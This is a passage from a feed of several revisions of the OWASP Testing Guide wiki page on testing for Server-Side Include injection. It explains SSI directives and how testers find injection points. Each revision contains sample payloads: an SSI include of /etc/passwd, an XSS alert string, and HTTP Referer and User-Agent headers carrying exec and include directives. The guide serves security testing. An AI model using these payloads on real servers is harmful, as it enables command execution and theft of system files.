* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Web Proxy Burp Suite - http://portswigger.net&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* WebScarab - http://www.owasp.org/index.php/OWASP_WebScarab_Project&lt;br /&gt;
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=37002</id>
		<title>Testing for SSI Injection (OTG-INPVAL-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=37002"/>
				<updated>2008-08-23T06:57:24Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Black Box testing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''Server-Side Includes''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#echo var=&amp;quot;DATE_LOCAL&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to print out the current time.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/cgi-bin/counter.pl&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a CGI script.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/footer.html&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the content of a file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a system command.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide an input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing ==&lt;br /&gt;
&lt;br /&gt;
The first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains '''''.shtml''''' files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next step consists of determining if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code.&amp;lt;br&amp;gt;&lt;br /&gt;
The testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt; ! # = / . &amp;quot; - &amp;gt; and [a-zA-Z0-9]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To test if validation is insufficient, we can input, for example, a string like the following in an input form:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/etc/passwd&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is similar to testing for XSS vulnerabilities using&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET / HTTP/1.0&lt;br /&gt;
Referer: &amp;lt;!--#exec cmd=&amp;quot;/bin/ps ax&amp;quot;--&amp;gt;&lt;br /&gt;
User-Agent: &amp;lt;!--#virtual include=&amp;quot;/proc/version&amp;quot;--&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
Being able to review the application source code we can quite easily find out:&amp;lt;br&amp;gt;&lt;br /&gt;
# If SSI directives are used; if they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate;&amp;lt;br&amp;gt;&lt;br /&gt;
# Where user input, cookie content and http headers are handled; the complete input vectors list is then quickly built;&amp;lt;br&amp;gt;&lt;br /&gt;
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many type of encoding are taken into account.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* IIS: &amp;quot;Notes on Server-Side Includes (SSI) syntax&amp;quot; - http://support.microsoft.com/kb/203064&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache Tutorial: &amp;quot;Introduction to Server Side Includes&amp;quot; - http://httpd.apache.org/docs/1.3/howto/ssi.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Module mod_include&amp;quot; - http://httpd.apache.org/docs/1.3/mod/mod_include.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Security Tips for Server Configuration&amp;quot; - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi&amp;lt;br&amp;gt;&lt;br /&gt;
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt&amp;lt;br&amp;gt;&lt;br /&gt;
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Web Proxy Burp Suite - http://portswigger.net&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* WebScarab - http://www.owasp.org/index.php/OWASP_WebScarab_Project&lt;br /&gt;
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=37001</id>
		<title>Testing for SSI Injection (OTG-INPVAL-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=37001"/>
				<updated>2008-08-23T06:47:22Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''Server-Side Includes''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#echo var=&amp;quot;DATE_LOCAL&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to print out the current time.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/cgi-bin/counter.pl&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a CGI script.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/footer.html&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the content of a file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a system command.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide an input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing ==&lt;br /&gt;
&lt;br /&gt;
The first thing to do when testing in a Black Box fashion is finding if the web server actually support SSI directives. The answer is almost certainly a yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Whether we succeded or not in discovering this piece of information, we could guess if SSI are supported just looking at the content of the target web site we are testing: if it makes use of '''''.shtml''''' file then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Let's go to the next step, which is needed not only to find out if an SSI injection attack is really plausible, but also to identify the input points we can use to inject our malicious code.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this step the testing activity is exactly the same needed to test for other code injection vulnerabilities. We need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input or, otherwise, if we could provide data that is going to be displayed unmodified (as error message, forum post, etc.). Beside common user supplied data, input vectors that are always to be considered are HTTP request headers and cookies content, that can be easily forged.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where in the web site the data we provided are going to be displayed. We need to make sure that we are going to be able to make characters like that used in SSI directives:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt; ! # = / . &amp;quot; - &amp;gt; and [a-zA-Z0-9]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
go through the application and be parsed by the server at some point.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Exploiting the lack of validation, is as easy as submitting, for example, a string like the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/etc/passwd&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
in a input form, instead of the classical:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The directive would be then parsed by the server next time it needs to serve the given page, thus including the content of the Unix standard password file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET / HTTP/1.0&lt;br /&gt;
Referer: &amp;lt;!--#exec cmd=&amp;quot;/bin/ps ax&amp;quot;--&amp;gt;&lt;br /&gt;
User-Agent: &amp;lt;!--#virtual include=&amp;quot;/proc/version&amp;quot;--&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
Being able to review the application source code we can quite easily find out:&amp;lt;br&amp;gt;&lt;br /&gt;
# If SSI directives are used; if they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate;&amp;lt;br&amp;gt;&lt;br /&gt;
# Where user input, cookie content and http headers are handled; the complete input vectors list is then quickly built;&amp;lt;br&amp;gt;&lt;br /&gt;
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many type of encoding are taken into account.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* IIS: &amp;quot;Notes on Server-Side Includes (SSI) syntax&amp;quot; - http://support.microsoft.com/kb/203064&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache Tutorial: &amp;quot;Introduction to Server Side Includes&amp;quot; - http://httpd.apache.org/docs/1.3/howto/ssi.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Module mod_include&amp;quot; - http://httpd.apache.org/docs/1.3/mod/mod_include.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Security Tips for Server Configuration&amp;quot; - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi&amp;lt;br&amp;gt;&lt;br /&gt;
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt&amp;lt;br&amp;gt;&lt;br /&gt;
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Web Proxy Burp Suite - http://portswigger.net&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* WebScarab - http://www.owasp.org/index.php/OWASP_WebScarab_Project&lt;br /&gt;
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=37000</id>
		<title>Testing for SSI Injection (OTG-INPVAL-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=37000"/>
				<updated>2008-08-23T06:46:24Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''Server-Side Includes''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#echo var=&amp;quot;DATE_LOCAL&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to print out the current time.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/cgi-bin/counter.pl&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a CGI script.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/footer.html&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the content of a file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a system command.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could be able to provide an input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing ==&lt;br /&gt;
&lt;br /&gt;
The first thing to do when testing in a Black Box fashion is finding if the web server actually support SSI directives. The answer is almost certainly a yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Whether we succeded or not in discovering this piece of information, we could guess if SSI are supported just looking at the content of the target web site we are testing: if it makes use of '''''.shtml''''' file then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Let's go to the next step, which is needed not only to find out if an SSI injection attack is really plausible, but also to identify the input points we can use to inject our malicious code.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this step the testing activity is exactly the same needed to test for other code injection vulnerabilities. We need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input or, otherwise, if we could provide data that is going to be displayed unmodified (as error message, forum post, etc.). Beside common user supplied data, input vectors that are always to be considered are HTTP request headers and cookies content, that can be easily forged.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where in the web site the data we provided are going to be displayed. We need to make sure that we are going to be able to make characters like that used in SSI directives:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt; ! # = / . &amp;quot; - &amp;gt; and [a-zA-Z0-9]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
go through the application and be parsed by the server at some point.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Exploiting the lack of validation, is as easy as submitting, for example, a string like the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/etc/passwd&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
in a input form, instead of the classical:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The directive would be then parsed by the server next time it needs to serve the given page, thus including the content of the Unix standard password file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET / HTTP/1.0&lt;br /&gt;
Referer: &amp;lt;!--#exec cmd=&amp;quot;/bin/ps ax&amp;quot;--&amp;gt;&lt;br /&gt;
User-Agent: &amp;lt;!--#virtual include=&amp;quot;/proc/version&amp;quot;--&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
Being able to review the application source code we can quite easily find out:&amp;lt;br&amp;gt;&lt;br /&gt;
# If SSI directives are used; if they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate;&amp;lt;br&amp;gt;&lt;br /&gt;
# Where user input, cookie content and http headers are handled; the complete input vectors list is then quickly built;&amp;lt;br&amp;gt;&lt;br /&gt;
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many type of encoding are taken into account.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* IIS: &amp;quot;Notes on Server-Side Includes (SSI) syntax&amp;quot; - http://support.microsoft.com/kb/203064&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache Tutorial: &amp;quot;Introduction to Server Side Includes&amp;quot; - http://httpd.apache.org/docs/1.3/howto/ssi.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Module mod_include&amp;quot; - http://httpd.apache.org/docs/1.3/mod/mod_include.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Security Tips for Server Configuration&amp;quot; - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi&amp;lt;br&amp;gt;&lt;br /&gt;
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt&amp;lt;br&amp;gt;&lt;br /&gt;
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Web Proxy Burp Suite - http://portswigger.net&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* WebScarab - http://www.owasp.org/index.php/OWASP_WebScarab_Project&lt;br /&gt;
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=36999</id>
		<title>Testing for SSI Injection (OTG-INPVAL-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=36999"/>
				<updated>2008-08-23T06:41:56Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
